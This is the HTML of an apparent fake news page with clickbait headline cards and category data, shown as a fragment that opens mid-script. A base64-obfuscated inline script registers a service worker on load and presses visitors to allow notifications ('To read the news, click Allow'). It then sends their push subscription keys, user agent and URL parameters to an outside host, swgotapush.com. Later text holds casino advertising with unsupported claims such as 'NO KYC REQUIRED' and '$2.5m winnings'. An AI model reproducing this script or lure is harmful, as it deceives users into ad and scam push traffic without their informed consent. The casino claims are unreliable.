UG4uY3JlYXRlKCJmYWlsZWQtc2VydmljZS13b3JrZXItcmVnaXN0cmF0aW9uIix7YnJvd3NlckVycm9yTWVzc2FnZTpudWxsPT10P3ZvaWQgMDp0Lm1lc3NhZ2V9KX19KGUpLHR8fCFlLnN3UmVnaXN0cmF0aW9uKXtpZighKHQgaW5zdGFuY2VvZiBTZXJ2aWNlV29ya2VyUmVnaXN0cmF0aW9uKSl0aHJvdyBQbi5jcmVhdGUoImludmFsaWQtc3ctcmVnaXN0cmF0aW9uIik7ZS5zd1JlZ2lzdHJhdGlvbj10fX1hc3luYyBmdW5jdGlvbiBxbihlLHQpe2lmKCFuYXZpZ2F0b3IpdGhyb3cgUG4uY3JlYXRlKCJvbmx5LWF2YWlsYWJsZS1pbi13aW5kb3ciKTtpZigiZGVmYXVsdCI9PT1Ob3RpZmljYXRpb24ucGVybWlzc2lvbiYmYXdhaXQgTm90aWZpY2F0aW9uLnJlcXVlc3RQZXJtaXNzaW9uKCksImdyYW50ZWQiIT09Tm90aWZpY2F0aW9uLnBlcm1pc3Npb24pdGhyb3cgUG4uY3JlYXRlKCJwZXJtaXNzaW9uLWJsb2NrZWQiKTtyZXR1cm4gYXdhaXQgYXN5bmMgZnVuY3Rpb24oZSx0KXt0P2UudmFwaWRLZXk9dDplLnZhcGlkS2V5fHwoZS52YXBpZEtleT1obil9KGUsbnVsbD09dD92b2lkIDA6dC52YXBpZEtleSksYXdhaXQgem4oZSxudWxsPT10P3ZvaWQgMDp0LnNlcnZpY2VXb3JrZXJSZWdpc3RyYXRpb24pLEtuKGUpfWFzeW5jIGZ1bmN0aW9uIEduKGUsdCxuKXtjb25zdCBpPWZ1bmN0aW9uKGUpe3N3aXRjaChlKXtjYXNlIHZuLk5PVElGSUNBVElPTl9DTElDS0VEOnJldHVybiJub3RpZmljYXRpb25fb3BlbiI7Y2FzZSB2bi5QVVNIX1JFQ0VJVkVEOnJldHVybiJub3RpZmljYXRpb25fZm9yZWdyb3VuZCI7ZGVmYXVsdDp0aHJvdyBuZXcgRXJyb3J9fSh0KTsoYXdhaXQgZS5maXJlYmFzZURlcGVuZGVuY2llcy5hbmFseXRpY3NQcm92aWRlci5nZXQoKSkubG9nRXZlbnQoaSx7bWVzc2FnZV9pZDpuW21uXSxtZXNzYWdlX25hbWU6bltibl0sbWVzc2FnZV90aW1lOm5bd25dLG1lc3NhZ2VfZGV2aWNlX3RpbWU6TWF0aC5mbG9vcihEYXRlLm5vdygpLzFlMyl9KX1hc3luYyBmdW5jdGlvbiBKbihlLHQpe2NvbnN0IG49dC5kYXRhO2lmKCFuLmlzRmlyZWJhc2VNZXNzYWdpbmcpcmV0dXJuO2Uub25NZXNzYWdlSGFuZGxlciYmbi5tZXNzYWdlVHlwZT09PXZuLlBVU0hfUkVDRUlWRUQmJigiZnVuY3Rpb24iPT10eXBlb2YgZS5vbk1lc3NhZ2VIYW5kbGVyP2Uub25NZXNzYWdlSGFuZGxlcihGbihuKSk6ZS5vbk1lc3NhZ2VIYW5kbGVyLm5leHQoRm4obikpKTtjb25zdCBpPW4uZGF0YTt2YXIgcjsib2JqZWN0Ij09dHlwZW9mKHI9aSkmJnImJm1uIGluIHImJiIxIj09PWlbImdvb2dsZS5jLmEuZSJdJiZhd2FpdCBHbihlLG4ubWVzc2FnZVR5cGUsaSl9Y29uc3QgWW49IkBmaXJlYmFzZS9tZXNzYWdpbmciLFFuPSIwLjEyLjQiLFhuPWU9Pntjb25zdCB0PWUuZ2V0UHJvdmlkZXIoIm1lc3NhZ2luZyIpLmdldEltbWVkaWF0ZSgpO3JldHVybntnZXRUb2tlbjplPT5xbih0LGUpfX07WihuZXcgYigibWVzc2FnaW5nIiwoZT0+e2NvbnN0IHQ9bmV3IFVuKGUuZ2V0UHJvdmlkZXIoImFwcCIpLmdldEltbWVkaWF0ZSgpLGUuZ2V0UHJvdmlkZXIoImluc3RhbGxhdGlvbnMtaW50ZXJuYWwiKS5nZXRJbW1lZGlhdGUoKSxlLmdldFByb3ZpZGVyKCJhbmFseXRpY3MtaW50ZXJuYWwiKSk7cmV0dXJuIG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLmFkZEV2ZW50TGlzdGVuZXIoIm1lc3NhZ2UiLChlPT5Kbih0LGUpKSksdH0pLCJQVUJMSUMiKSksWihuZXcgYigibWVzc2FnaW5nLWludGVybmFsIixYbiwiUFJJVkFURSIpKSxyZShZbixRbikscmUoWW4sUW4sImVzbTIwMTciKSwoYXN5bmMoKT0+e2NvbnN0IGU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKSx0PW5ldyBQcm94eSh7fSx7Z2V0Oih0LG4pPT5lLmdldChuLnRvU3RyaW5nKCkpfSksbj1gJHt3aW5kb3cubG9jYXRpb24ucHJvdG9jb2x9Ly8ke3dpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZX1gfHwidW5rbm93biIsaT13aW5kb3cubG9jYXRpb24ub3JpZ2luLHI9U3RyaW5nKHQucF9rZXl8fHdpbmRvdy5QVUJMSVNIRVJfQVBJX0tFWXx8IiIpLGE9U3RyaW5nKHQucHdfc2VnbWVudHN8fHQuc3RyZWFtX3V1aWR8fHdpbmRvdy5TVFJFQU1fVVVJRHx8IiIpLG89TnVtYmVyKHQuaWR8fHdpbmRvdy5XRUJNQVNURVJfSUR8fDApLFtzLGNdPVsic2hvd2Nhc2VfZXhwZXJpbWVudCIsInNob3djYXNlX2V4cGVyaW1lbnRfdmFyaWFudCJdLm1hcCgoZT0+e2NvbnN0IHQ9bG9jYWxTdG9yYWdlLmdldEl0ZW0oZSl8fHZvaWQgMDtyZXR1cm4gbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oZSksdH0pKSx1PVsuLi5uZXcgVVJMU2VhcmNoUGFyYW1zKGxvY2F0aW9uLnNlYXJjaCldLnJlZHVjZSgoKGUsW3Qsbl0pPT4oey4uLmUsW3RdOm59KSkse30pO2lmKCFkbigpLmNhdGNoKCgoKT0+ITEpKSlyZXR1cm47Y29uc3QgZD1hd2FpdCBmZXRjaChgaHR0cHM6Ly9zdWJzY3JpYmUuc3dnb3RhcHVzaC5jb20vdjEvY29uZmlnP3BhZ2U9JHtufSZhcGlfa2V5PSR7cn1gLHttZXRob2Q6IkdFVCIsY2FjaGU6Im5vLWNhY2hlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbiJ9fSkudGhlbigoZT0+ZS5qc29uKCl8fG51bGwpKTtpZihudWxsPT09ZClyZXR1cm47Y29uc3QgbD1hd2FpdCBuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5yZWdpc3RlcihpKyIvcHVzaC1jbGllbnQtd29ya2VyLmpzIix7c2NvcGU6aSsiLyIsdXBkYXRlVmlhQ2FjaGU6Im5vbmUifSkscD17dmFwaWQ6ZC52YXBpZF9wdWJsaWNfa2V5LHNlcnZpY2VXb3JrZXJSZWdpc3RyYXRpb246bH07Tm90aWZpY2F0aW9uLnJlcXVlc3RQZXJtaXNzaW9uKCkudGhlbigoZT0+e2lmKHdpbmRvdy5wb3N0TWVzc2FnZSh7dHlwZToicGVybWlzc2lvbkNoYW5nZWQiLHBheWxvYWQ6ZX0sbG9jYXRpb24ub3JpZ2luKSwiZ3JhbnRlZCIhPT1lKXJldHVybjsoYXN5bmMgZnVuY3Rpb24oZSx0KXtyZXR1cm4gcW4oZT1tKGUpLHQpfSkobG4oaWUoZC5maXJlYmFzZSkpLHApLnRoZW4oKGU9PntuYXZpZ2F0b3Iuc2VydmljZVdvcmtlci5nZXRSZWdpc3RyYXRpb24oKS50aGVuKCh0PT57dCYmdC5wdXNoTWFuYWdlci5nZXRTdWJzY3JpcHRpb24oKS50aGVuKCh0PT57aWYodCYmZSl7Y29uc3R7a2V5czppPXt9LGVuZHBvaW50OmR9PXQudG9KU09OKCkse2F1dGg6bH09aSx7cDI1NmRoOnB9PWksZj17dWE6bmF2aWdhdG9yLnVzZXJBZ2VudHx8InVua25vd24iLGF1dGg6bCxwYWdlOm4scDI1NmRoOnAsYXBpX2tleTpyLGVuZHBvaW50OmQsc3RyZWFtX3V1aWQ6YSx3ZWJtYXN0ZXJfaWQ6byxyZWdpc3RyYXRpb25fdG9rZW46ZSxtZXRhOnsuLi51LHNob3djYXNlX2V4cGVyaW1lbnQ6cyxzaG93Y2FzZV9leHBlcmltZW50X3ZhcmlhbnQ6Y319O2ZldGNoKCJodHRwczovL3N1YnNjcmliZS5zd2dvdGFwdXNoLmNvbS92MS9zdWJzY3JpYmUiLHttZXRob2Q6IlBPU1QiLGNhY2hlOiJuby1jYWNoZSIsaGVhZGVyczp7IkNvbnRlbnQtVHlwZSI6ImFwcGxpY2F0aW9uL2pzb24ifSxib2R5OkpTT04uc3RyaW5naWZ5KGYpfSkuY2F0Y2goKGU9Pnt9KSl9fSkpfSkpfSkpLmNhdGNoKChlPT57fSkpfSkpfSkoKX0oKTsK);}/script>link relicon typeimage/png href/_showcase/images/templates/rednews/favicon.png>script typemodule src/_nuxt/BOlLOSYN.js crossorigin>/script>/head>body>div id__nuxt>div>div classrednews>!---->header classheader>nav classnavbar navbar-default>div classcontainer-fluid>div classnavbar-header navbar-header-root>button idmenuBtn typebutton classnavbar-toggle collapsed>span classicon-bar>/span>span classicon-bar>/span>span classicon-bar>/span>/button>ul classheader__desktop-section header__nav header__desktop-left-part>!---->li classheader__item>a classheader__link href/events?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Events/a>/li>li classheader__item>a classheader__link href/show-business?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Show business/a>/li>li classheader__item>a classheader__link href/health?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Health/a>/li>!---->/ul>a classnavbar-brand header__logo header__desktop-center-part href/?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>div classlogo>div classlogo__letter>span>N/span>/div>div classlogo__name>span classlogo__name-big>News/span>span classlogo__name-small> of the week/span>/div>/div>/a>div classheader__desktop-right-part header__desktop-section header__currencies>div classabout_root>a href/product?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank classheader__search>img src/_showcase/images/svg/icons/search.svg altsearch ico>/a>/div>/div>/div>div idnavbar-main classcollapse navbar-collapse navbar-main_shadow>div classheader__container color-black>ul classheader__categories overflow-hidden>!---->li classnavigation__item>a classnavigation__link href/events?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Events/a>/li>li classnavigation__item>a classnavigation__link href/show-business?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Show business/a>/li>li classnavigation__item>a classnavigation__link href/health?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>Health/a>/li>!---->li classnavigation__item>a classnavigation__link searchLinkLi href/product?stream_uuid00000000-0000-0000-0000-000000000000&googleIdTh385a6f7c-b7ac-470f-85f4-cd6b673bc854&id42 target_blank>img src/_showcase/images/svg/icons/search.svg altsearch ico> Search/a>/li>/ul>/div>/div>/div>/nav>/header>!---->div classcontent>!---->div classhome-page infinite-scroll-container>div classdesktop-section desktop-section--light desktop-section__side-padding-tablet desktop-section--no-top-p>div classdesktop-section__content>h1 classtheme-title>Main news/h1>div classrow row-margin-custom full-height-blocks row-flex-container>!---->div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f199dbe9e54/0cd65f199dbe9e3b.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Paris Olympics 2024: what Australia’s athletes will be wearing/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f185ee99fc5/0cd65f185ee99fad.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Earthquake of 3.6-magnitude hits Blue Mountains area west of Sydney/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/07811d/eccbc8/65f4672d327fb/0cd65f4672d327ed.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Sydney's waters now warm enough for a tropical cyclone/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow full-height-blocks row-flex-container>!---->div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/5531a5/6512bd/65563ea244d6e/0cd65563ea244d85.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Before going to bed, mother-in-law puts a clove of garlic in the toile/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/5531a5/d72d18/64c39bf6a1e77/0cd64c39bf6a1e87.webp classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Can you stand on one leg for 10 seconds?/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/63750d01b51d5/35c63750d01b51f2.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>London commuters endure long queues and packed buses amid tube strike/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-3 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/637249312b254/35c637249312b266.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Man detained after appearing to throw eggs at King Charles and Camilla/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>/div>/div>div classdashed-line>/div>div classdesktop-section desktop-section--light desktop-section__side-padding-tablet>div classdesktop-section__content>!---->div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b85dc364a3/d0b636b85dc364b4.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>What’s next for climate crisis conversations in 2022?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b83485271c/d0b636b83485272f.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>The areas most likely to struggle with access to affordable food/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b829994870/d0b636b829994882.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>Can you stand on one leg for 10 seconds?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b81a41458a/d0b636b81a41459a.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>I lost nearly £3,000 on football ticket scams – it’s scarily common/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b80efc50c7/d0b636b80efc50da.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>Are hand sanitizers a cancer risk?/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b7794d355e/d0b636b7794d356f.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>The science behind why diets don’t work/span>!---->/div>!---->/a>/div>/div>!---->/div>!---->/div>/div>div classdesktop-section desktop-section--no-top-p desktop-section__side-padding-tablet>div classdesktop-section__content>h2 classtheme-title>Read also/h2>div classrednews-section rednews-section--dark>div classrow row-margin-custom full-height-blocks row-flex-container>!---->div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b76293ed6f/35c636b76293ed7e.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Top 10 cooking hacks to make food more exciting/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b72e16a31a/35c636b72e16a32a.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Risk of deadly brain illness/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>div classcol-sm-4 col-p-custom>div classblock-1--fluid>a target_blank href# classshowcase-block__link showcase-block block-vertical-4x3>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b6d424fff5/35c636b6d4250005.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->div classblock-vertical-4x3__title showcase-block__title>Pensions and benefits set to increase in line with inflation/div>span classblock-vertical-4x3__time>span classicon block-vertical-4x3__icon>img src/_showcase/images/svg/icons/calendar.svg altcalendar icon>/span>span classhoursAgo>/span>/span>!---->/div>!---->/a>/div>/div>!---->/div>!---->div classrow row-margin-custom>!---->div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636b6b607b07c/d0b636b6b607b08d.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>CASH BOOST/span>!---->/div>!---->/a>/div>/div>div classcol-sm-6 col-p-custom>div classblock-2 news-hover-decor block-2--bordered>a target_blank href# classshowcase-block__link showcase-block block-horizontal-1x1 data-dense>!---->!---->!---->div classshowcase-block__image-wrapper>img src/.cdn/lna/3a8241/6512bd/636a794445484/d0b636a794445497.jpeg classshowcase-block__image altrecommended article preview>/div>div classshowcase-block__content>!---->span>WhatsApp scam - and my bank won't refund me/span>!---->/div>!---->/a>/div>/div>!---->/div>div classrow row-margin-custom>!---->!---->/div>div classrow row-margin-custom>!---->!---->/div>!---->/div>/div>/div>div classdashed-line>/div>!---->!---->!---->div styleheight:20px;>/div>!---->/div>/div>!---->!---->!---->/div>/div>/div>div idteleports>/div>script typeapplication/json data-nuxt-datanuxt-app data-ssrtrue id__NUXT_DATA__>ShallowReactive,1,{data:2,state:38,once:185,_errors:186,serverRendered:56,path:188,pinia:189},ShallowReactive,3,{server:categories:4},5,8,11,14,17,20,23,26,29,32,35,{slug:6,id:7},erotica,11,{slug:9,id:10},events,1,{slug:12,id:13},politics,2,{slug:15,id:16},show-business,3,{slug:18,id:19},sport,4,{slug:21,id:22},health,5,{slug:24,id:25},cuisine,6,{slug:27,id:28},useful-tips,10,{slug:30,id:31},social,7,{slug:33,id:34},shock-content,8,{slug:36,id:37},esotericism,9,Reactive,39,{$sserver:client-query:40,$sserver:eqp:47,$sserver:stream-uuid:42,$sserver:surfer-uuid:44,$sserver:request-options:48,$sserver:client-origin:53,$sserver:stream-options:54,$sserver:client-session:59,$sserver:app-language:61,$sserver:translate:64,$sserver:pw-segments:42,$sserver:visit:178,$sserver:unique-stream-surfer:56,$sserver:page-request:180,$sserver:psn:183,$sserver:category:184,$sserver:fc:57},Map,41,42,43,44,45,46,stream_uuid,00000000-0000-0000-0000-000000000000,googleIdTh,385a6f7c-b7ac-470f-85f4-cd6b673bc854,id,42,{},{host:49,x-real-ip:50,x-forwarded-for:51,prereferer:52},clonasteri.com,52.40.234.105,52.40.234.105, 52.40.234.105, 52.40.234.105,http://clonasteri.com/,https://clonasteri.com,{id:55,theme_id:28,is_backlink:56,show_popup:56,show_alert:57,enable_analytics:57,grab_push_traffic:56,webmaster_id:58,is_push:57},0,true,false,42,{user:60,system:62},{language_code:61},en,{domain_id:63},15606,{actual_news:65,actual_week_news:66,back:67,black:68,copyrighting:69,day_news:70,for_date:71,last:72,main-news:73,minutes:74,more:75,more-news:76,most_actual_news:77,most_popular_news:78,new-articles:79,news:80,next:81,out-choose:82,partner-news:83,popular-categories:84,popular-today:85,popular-week:86,popular_news:87,product:88,pulse:89,read:90,read-more:91,read-more-v2:91,read-more-v3:92,read-more-v4:93,read-more-v5:91,recommended:94,rest_news:95,share:96,show-all:97,shows:98,source:99,week-news:100,white:101,your_health:102,search:103,events:104,politics:105,show-business:106,sport:107,health:108,cuisine:109,social:110,shock-content:111,erotica:112,esotericism:113,useful-tips:114,weeknews-logo:115,week:116,news24:117,push_prompt_title:118,push_request_permissions:119,push_permission_notification:120,push_button_confirm:121,push_button_reject:122,toprate:123,greentop-title:123,greentop-subtitle-1:124,greentop-subtitle-2:125,greentop-advantage-1:126,greentop-advantage-2:127,greentop-advantage-3:128,greentop-about-title:129,greentop-about-text-1:130,greentop-about-text-2:131,greentop-about-block-title-1:132,greentop-about-block-text-1:133,greentop-about-block-title-2:134,greentop-about-block-text-2:135,greentop-about-block-title-3:136,greentop-about-block-text-3:137,greentop-about-block-title-4:138,greentop-about-block-text-4:139,greentop-favorite-title:140,greentop-footer-text-1:141,greentop-policy:142,greentop-terms:143,greentop-footer-text-2:144,greentop-footer-text-3:145,greentop-block-button:146,greentop-block-rated:147,greentop-block-reviews-1:148,greentop-block-reviews-2:149,greentop-block-top:150,greentop-block-hot:151,greentop-block-verify:152,greentop-popup-title:153,greentop-popup-button:154,violettop-title:155,violettop-header-description:156,voilettop-players-accepted:157,violettop-no-kyc:158,violettop-safe:159,violettop-last-update:160,violettop-why-our-site:161,violettop-why-our-site-text:162,violettop-security:163,violettop-security-text:164,violettop-bonuses:165,violettop-bonuses-text:166,violettop-payment-options:167,violettop-payment-options-text:168,violettop-footer-description:169,violettop-badge-top-first:170,violettop-badge-bottom-first:171,violettop-badge-top-second:151,violettop-rates-votes:172,violettop-block-button:173,violettop-block-specials-first:174,violettop-block-specials-second:175,violettop-block-specials-third:176,violettop-popup-title:153,violettop-popup-button:154,violettop-banner-text:177},Top news,Top news of the week,Back,Black,Copyright © 2020 «News 24». All rights reserved.\u003Cbr> 16+.,News of the day,for,Last,Main news,Minutes ago,More,More news,The most relevant news,Most popular news,New articles,News,Next,Our choice,Partner news,Popular categories,Popular today,Popular this week,Popular news,Interesting this week,Pulse,Read,Read more,Read full,Read also,Recommended,Other news,Share,Show all,Views,Source,News of the week,White,Your health,Search,Events,Politics,Show business,Sports,Health,Cuisine,Social,Shock content,Erotica,Esotericism,Useful tips,W,Week,News24,To read the news, click \Allow\,The site requests permission to:,Show notifications,Allow,Prohibit,Top Online Casinos,Top and most trusted online casinos. Tested by experts and ranked by players.,Enjoy this curated list of fantastic bonuses & fast withdrawals casinos. Play now!,Fast Payouts,Secure & Trusted,97.7% RTP,About Us,We’re casino betting experts and weve seen it all. Not only are some online casinos great and thrilling, but there are also risky ones out there. Weve taken the hit and tested these places so you dont have to risk it. In addition, we have verified public reviews of each site to confirm other players get their winnings paid.,Our goal is to steer you toward the safe and fun options, avoiding the bad ones. Were always here, updating you with the latest and most reliable info on where to play safely.,$2.5m,winnings in 2024,243,casino reviewed,1500+,games played,7,team members,our personal favorite,Gambling Can Be Addictive. Please Play Responsibly,Privacy Policy,Terms & Conditions,We Play Fair. This site is intended for adults only. In addition, before using our site, make sure that online gambling is allowed in your location.,If you have any doubts, get legal advice in this regard. Play Responsibly,Get bonus,Rated,Based on , reviews,TOP,HOT,Verified site,EDITOR`S CHOISE THIS WEEK,PLAY NOW,TOP 10 ONLINE CASINOS,Looking for the best online casinos and bonuses? We’ve got you covered. Our team of experts spend hours testing and reviewing every site out there, saving you the hard work. We are constantly updating our database so you have access to accurate information about the best new pokies sites around!,PLAYERS ACCEPTED,NO KYC REQUIRED,100% SAFE & SECURE,Last Updated:,WHY USE OUR SITE ?,When you need accurate information and useful tips, you ask the experts. Our team consists of a number of experienced casino enthusiasts with many years of experience in the industry. From passionate poker players and sports betting enthusiasts, to former employees of online casinos – our team knows what is in the industry and wants to share our expertise with you. Thanks to our broad network in the industry, we can also offer our visitors unique and fantastic benefits, both for new and recurring players. We also know which traps to avoid and always filter out the casinos that are not the best solution for serious players. In summary, if you are looking for quality, bonuses, free spins and a professional attitude towards gambling then you are in the right place.,SECURITY,Everything begins with safety. Your winnings mean nothing if your account is hacked or if the website is operated without a proper license. The online casino industry is heavily regulated, but nevertheless some rogue suppliers succeed market players to get away. To safeguard your security and peace of mind, we only offer casinos that meet the requirements for secure payment methods, have the right licenses for games and secure websites. In addition, we will never market casinos with consistently bad reviews. When choosing a casino from our website, you can feel confident that your personal information, payment details and most importantly – your money – are in safe hands.,BONUSES,It is difficult to think of online games today without the word “bonus” appearing. Every casino offers them. However, some are better than others. Is it an actual cash bonus, free spins or “fake money”? How do you compare which casino has the best deal for new players? Which games offer the best bonuses? Fortunately, we give you all that information. And not only that, our partnerships with the best providers of online casinos allow us to offer incredible registration bonuses for new players. Register today and enjoy incredible bonus offers that no other casino can match. There is really no better way to start your first exciting casino experience than with a generous bonus that doubles, triples or even quadruples your first deposit!,PAYMENT OPTIONS,Our country has always been at the forefront of technology and this is extra obvious when it comes to payment options for online casinos. There is something for everyone. From traditional credit card payment with VISA or Mastercard, direct bank transfer to e-wallets like Neosurf and Bitcoin. In many cases, the casinos offer several different alternatives to the respective payment methods. This is an obvious benefit to the players because some may not have a credit card, or you may feel more comfortable transferring money through your internet bank, rather than disclosing your credit card information. In summary, it has never been easier to deposit money and get started with the game of your favourite casino.,We are a wholly independent third party that provides news, reviews, tips and tips related to casinos, and all of our opinions represent us, and somehow brands or brands do not appear on this site. All our information can be proved true. All casinos will display their own terms on their own websites and they should always be checked before they are played. All terms of use for this article are displayed at the bottom of this page and also on the operators’ pages. In order to combine the 